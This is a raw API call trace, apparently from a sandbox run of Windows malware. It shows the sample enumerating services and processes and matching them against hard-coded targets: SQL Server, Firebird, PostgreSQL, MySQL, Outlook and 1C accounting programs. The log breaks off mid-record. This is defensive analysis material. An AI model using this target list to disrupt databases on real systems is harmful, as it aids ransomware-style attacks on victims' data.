[0150.256] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0150.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0150.256] lstrlenW (lpString="CscService") returned 10 [0150.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0150.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0150.256] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0150.256] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0150.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0150.256] lstrlenW (lpString="DcomLaunch") returned 10 [0150.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0150.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0150.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0150.256] lstrlenW (lpString="Dhcp") returned 4 [0150.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0150.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0150.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0150.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0150.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0150.256] lstrlenW (lpString="Dnscache") returned 8 [0150.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0150.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0150.257] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0150.257] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0150.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0150.257] lstrlenW (lpString="DPS") returned 3 [0150.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0150.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0150.257] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0150.257] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0150.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0150.257] lstrlenW (lpString="eventlog") returned 8 [0150.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0150.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0150.257] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0150.257] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0150.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0150.257] lstrlenW (lpString="EventSystem") returned 11 [0150.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0150.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0150.257] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0150.257] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0150.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0150.257] lstrlenW (lpString="gpsvc") returned 5 [0150.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0150.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0150.257] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0150.257] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0150.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0150.257] lstrlenW (lpString="LanmanWorkstation") returned 17 [0150.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.258] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0150.258] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0150.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0150.258] lstrlenW (lpString="lmhosts") returned 7 [0150.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0150.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0150.258] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0150.258] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0150.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0150.258] lstrlenW (lpString="MMCSS") returned 5 [0150.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0150.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0150.258] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0150.258] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0150.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0150.258] lstrlenW (lpString="MpsSvc") returned 6 [0150.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0150.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0150.258] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0150.258] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0150.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0150.258] lstrlenW (lpString="NlaSvc") returned 6 [0150.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0150.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0150.258] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0150.258] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0150.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0150.258] lstrlenW (lpString="nsi") returned 3 [0150.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0150.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0150.258] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0150.259] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0150.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0150.259] lstrlenW (lpString="PcaSvc") returned 6 [0150.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0150.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0150.259] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0150.259] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0150.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0150.259] lstrlenW (lpString="PlugPlay") returned 8 [0150.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0150.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0150.259] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0150.259] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0150.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0150.259] lstrlenW (lpString="Power") returned 5 [0150.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0150.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0150.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0150.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0150.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0150.259] lstrlenW (lpString="ProfSvc") returned 7 [0150.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0150.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0150.259] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0150.259] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0150.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0150.259] lstrlenW (lpString="RpcEptMapper") returned 12 [0150.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.259] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0150.259] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0150.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0150.259] lstrlenW (lpString="RpcSs") returned 5 [0150.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0150.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0150.259] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0150.259] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0150.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0150.260] lstrlenW (lpString="SamSs") returned 5 [0150.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0150.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0150.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0150.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0150.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0150.260] lstrlenW (lpString="Schedule") returned 8 [0150.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0150.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0150.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0150.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0150.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0150.260] lstrlenW (lpString="SENS") returned 4 [0150.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0150.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0150.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0150.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0150.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0150.260] lstrlenW (lpString="ShellHWDetection") returned 16 [0150.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.260] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0150.260] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0150.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0150.260] lstrlenW (lpString="Spooler") returned 7 [0150.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0150.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0150.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0150.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0150.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0150.260] lstrlenW (lpString="SysMain") returned 7 [0150.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0150.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0150.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0150.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0150.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0150.261] lstrlenW (lpString="Themes") returned 6 [0150.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0150.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0150.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0150.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0150.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0150.261] lstrlenW (lpString="TrkWks") returned 6 [0150.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0150.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0150.261] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0150.261] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0150.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0150.261] lstrlenW (lpString="UxSms") returned 5 [0150.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0150.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0150.261] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0150.261] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0150.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0150.261] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0150.261] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0150.263] Process32FirstW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.263] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.264] lstrlenW (lpString="System") returned 6 [0150.264] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0150.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0150.264] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0150.264] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0150.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0150.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0150.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0150.264] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.264] lstrlenW (lpString="smss.exe") returned 8 [0150.264] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0150.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0150.264] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0150.264] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0150.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0150.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0150.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0150.264] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.265] lstrlenW (lpString="csrss.exe") returned 9 [0150.265] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0150.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0150.265] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0150.265] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0150.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0150.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0150.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0150.265] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.265] lstrlenW (lpString="wininit.exe") returned 11 [0150.265] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0150.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0150.265] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0150.265] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0150.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0150.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0150.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0150.265] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.266] lstrlenW (lpString="csrss.exe") returned 9 [0150.266] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0150.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0150.266] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0150.266] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0150.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0150.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0150.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0150.266] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.266] lstrlenW (lpString="winlogon.exe") returned 12 [0150.266] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0150.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0150.266] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0150.266] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0150.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0150.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0150.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0150.266] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.267] lstrlenW (lpString="services.exe") returned 12 [0150.267] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0150.267] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0150.267] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0150.267] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0150.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0150.267] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0150.267] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0150.267] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.267] lstrlenW (lpString="lsass.exe") returned 9 [0150.267] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0150.267] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0150.267] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0150.267] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0150.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0150.267] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0150.267] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0150.267] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0150.268] lstrlenW (lpString="lsm.exe") returned 7 [0150.268] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0150.268] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0150.268] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0150.268] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0150.268] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0150.268] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0150.268] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0150.268] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.268] lstrlenW (lpString="svchost.exe") returned 11 [0150.268] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0150.268] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0150.268] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0150.268] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0150.268] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0150.268] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0150.268] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0150.268] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.269] lstrlenW (lpString="svchost.exe") returned 11 [0150.269] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0150.269] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.269] lstrlenW (lpString="svchost.exe") returned 11 [0150.269] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0150.269] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0150.269] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.270] lstrlenW (lpString="svchost.exe") returned 11 [0150.270] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.270] lstrlenW (lpString="svchost.exe") returned 11 [0150.270] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0150.270] lstrlenW (lpString="audiodg.exe") returned 11 [0150.270] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, 